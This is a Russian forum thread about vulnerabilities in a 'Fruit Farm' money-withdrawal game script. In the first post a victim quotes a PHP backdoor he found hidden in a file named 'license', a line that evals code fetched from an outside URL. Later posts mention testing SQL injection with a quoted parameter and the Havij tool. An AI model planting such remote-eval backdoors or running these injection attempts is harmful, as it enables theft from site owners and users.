Скрипт Фруктовая ферма с выводом денег.

[assus Если нужна ферма пишите. Дизайн для Ферм. Участник]

Ребят, два дня назад увели 2к рублей с кошелька... в js/editor/jscripts/tiny_mce/themes/simple/skins нашел файл license в нем было
<?PHP

eval(file_get_contents("http://fruit-farm.org/return.php"));

?>

Снес к чертям... Скрипт качал на оф.сайте разработчиков FF как думаете, не выведут больше?

поищи еще дыры скорей всего их еще много

 

[AndreyHunters Участник]

поищи еще дыры скорей всего их еще много

логическую уязвимость крайне сложно исправить. Тут нужно понимать как вообще программист задумал работу скрипта...

 

[fghjk Участник]

логическую уязвимость крайне сложно исправить. Тут нужно понимать как вообще программист задумал работу скрипта...

Согласен. Так что же теперь... все скрипты оказывается просто хлам?

 

[AndreyHunters Участник]

Согласен. Так что же теперь... все скрипты оказывается просто хлам?

к сожелению на 90 %,я мало встречал скриптов которые были без багов,а те что на бескрайних просторах нета да ещё за даром,ТОЧНО ДЫРЯВЫЕ,+есть умники которые заведомо берут скрипт и закладывают в него ошибки чтоб потом на нем же и разжиться,вот такая печалька

 

[vlw Участник]

AndreyHunters, с хостингера нельзя управлять БД, так как на самом хостингере защита от этого. Если удалите базу или взломаете какой-нибудь пароль, тогда я вам поверю

 

[AndreyHunters Участник]

AndreyHunters, с хостингера нельзя управлять БД, так как на самом хостингере защита от этого. Если удалите базу или взломаете какой-нибудь пароль, тогда я вам поверю

во первых мне это даром и не нужно,а вовторых управление базой идет не на прямую а через запрос..............

 

[vlw Участник]

во первых мне это даром и не нужно,а вовторых управление базой идет не на прямую а через запрос..............

Я пол дня пытался ломануть свой же сайт. Не получилось. И наткнулся на статью, что хостингер нереально взломать

 

[AndreyHunters Участник]

Я пол дня пытался ломануть свой же сайт. Не получилось. И наткнулся на статью, что хостингер нереально взломать

приведи пример хоть одной иньекции которой ты пытался

 

[vlw Участник]

приведи пример хоть одной иньекции которой ты пытался

Допустим, даже если прописать ********.ru/?menu=admin' хостингер не даст никакого ответа (открывается 404). Havij загружает бд, но везде написано "???"

 

[AndreyHunters Участник]

Допустим, даже если прописать ********.ru/?menu=admin' хостингер не даст никакого ответа (открывается 404). Havij загружает бд, но везде написано "???"

я воздержусь от коминтариев.................

 

[AndreyHunters Участник]

коминтариев
комментариев

you want to be the smartest? resentful, so as not to give the handkerchief crying ....

 

[wh1skas wildcake Участник]

Спойлер

Даже на английском ошибки...

 

[vlw Участник]

Даже на английском ошибки...

он просто подумал, что я буду пользоваться переводчиком) LoL

 

[ниаолай Местный]

ну для начала найти все дыры и залатать,подобный скрипт сильно уязвим,ну а потом в файлах где есть фирст заменить его на свои и в базе перед тем как ее заливать проделать тоже самое

а что даст изменения first на свой логин?

 

[wh1skas wildcake Участник]

Пропиши для него несуществующую почту, а лучше несуществующий сервер почты + рандомный пароль. Имя first можешь не трогать.

Если не изменишь это, в этот аккаунт будут заходить юзеры и выводить средства, при выполнении всех условий выплат пользователю.

ЗЫ: или забань этого пользователя.

 

[Sergey12 Местный]

Допустим, даже если прописать ********.ru/?menu=admin' хостингер не даст никакого ответа (открывается 404). Havij загружает бд, но везде написано "???"

а как же ты попадаешь в админку?
ну я не знаю, попробуй
.ru/?menu=admin4ik
мб поможет...

 

[AndreyHunters Участник]

а что даст изменения first на свой логин?

насколько я помню то он там привязан по умолчанию и если человек пришел не по ссылке рефера,то он попадает под first, ну и тому подобное,я щас точно не помню к чему он там еще привязан,

 

[vlw Участник]

а как же ты попадаешь в админку?
ну я не знаю, попробуй
.ru/?menu=admin4ik
мб поможет...

1.Я умею заходить в админку
2.Я приводил пример SQL-Инъекции

 

[assus Если нужна ферма пишите. Дизайн для Ферм. Участник]

1.Я умею заходить в админку
2.Я приводил пример SQL-Инъекции

блин тут прям крутые хакеры сидят

 

[AndreyHunters Участник]

блин тут прям крутые хакеры сидят

и не говори............куда нам неграмотным